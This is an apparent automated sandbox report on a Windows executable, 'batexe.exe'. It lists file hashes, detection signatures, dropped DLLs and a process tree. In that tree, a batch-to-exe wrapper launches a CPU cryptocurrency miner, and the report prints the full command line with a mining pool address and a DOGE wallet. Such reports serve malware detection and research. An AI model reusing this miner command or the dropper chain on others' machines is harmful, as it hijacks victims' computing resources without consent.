73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
295s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
18/02/2024, 02:37

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4200	b2e.exe
3108	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3108	cpuminer-sse2.exe
3108	cpuminer-sse2.exe
3108	cpuminer-sse2.exe
3108	cpuminer-sse2.exe
3108	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2028-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2028 wrote to memory of 4200	2028	batexe.exe	75
PID 2028 wrote to memory of 4200	2028	batexe.exe	75
PID 2028 wrote to memory of 4200	2028	batexe.exe	75
PID 4200 wrote to memory of 1856	4200	b2e.exe	76
PID 4200 wrote to memory of 1856	4200	b2e.exe	76
PID 4200 wrote to memory of 1856	4200	b2e.exe	76
PID 1856 wrote to memory of 3108	1856	cmd.exe	79
PID 1856 wrote to memory of 3108	1856	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2028
- C:\Users\Admin\AppData\Local\Temp\93D4.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\93D4.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\93D4.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4200
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\95E7.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1856
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\93D4.tmp\b2e.exe

Filesize
19.5MB

MD5
ebebd87d01bb4aa321bcb1df2e76540b

SHA1
72edf896fde4eb369fa23b4bc3c8013534022e5f

SHA256
79504e5bf08b3a1e2b02d40b7b6893d5d0e3bd315687c7c0f6e5399431409e23

SHA512
2dbc29285abec936680ee2230aa2d06404174cc664a6897639d3c4a4424fcb67310c8f397878d659290fa0e80f7c8f13ee359e0f016fb550249d5777e0057794

Download Submit
C:\Users\Admin\AppData\Local\Temp\93D4.tmp\b2e.exe

Filesize
21.2MB

MD5
c622d64346bea2d92a9abdde95c6e6ec

SHA1
da885a751dfa8b036dc45f5f0853ad8f6e4d1324

SHA256
502476eb2f08e2a527678728bb9db32abcca352699126faf3e230a01f1e16e64

SHA512
0689f8b946538e0188baf07c9faceeb28ad1bd98a4382f753235120e85f2fd488b4aeddc69bbbbde9b9ed4438ab96a8056ddd1858fbe237b62ccfd1769ef45b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\95E7.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.4MB

MD5
8256f097954315dd7aedf9a72ac9ab40

SHA1
2fb4a5667e8fdaaf911b9321a27124ca9b5ada19

SHA256
efeeb5507684d2eff9cad0110da64f63eae1b1f1b7ff6607bf9740423ae60926

SHA512
d8b6242a4bb6f90460ec27ef8335ec04e910253150c237271f57b3fa544115d17cae9c64892d530ac198751357d7d65944435f8550cec245f32f756a0583a104

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.6MB

MD5
3fb4964423a1a25b629b2b0fcc59e43e

SHA1
37b930b0aaa0c8bce9759fa94434e3b8d7082f9d

SHA256
0b25b2a6814e55ef888864385a81a14f80a8ba1709a158c89ee518e60dc02962

SHA512
ae5f5a3248a25444e96df8ca0425a0925fabcaed34adfa8e8a235219f2e3c959aacc8086acaed23af15a830bdcd9108090b19feae9f56107efb3d5d766b1fc41

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.6MB

MD5
1b7079cc6e6d1de819ffc9935440abd7

SHA1
735c9b20b730b88f5c3caceada89bf80c9ff92ac

SHA256
e50ff27552b005935bbf6514043f1e708001545d53b78ee32a4ac27466373712

SHA512
4e7b63294cd91e8ca5b57dbb0bc70caf807a5c781e0d521328298b971ab69665a75815a461df12757a745bbcb2aec1f67285dcedeba509aedba8bf13fef099a7

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2028-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3108-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3108-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3108-43-0x000000005CFB0000-0x000000005D048000-memory.dmp

Filesize
608KB

Download
memory/3108-44-0x0000000001020000-0x00000000028D5000-memory.dmp

Filesize
24.7MB

Download
memory/3108-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4200-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4200-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download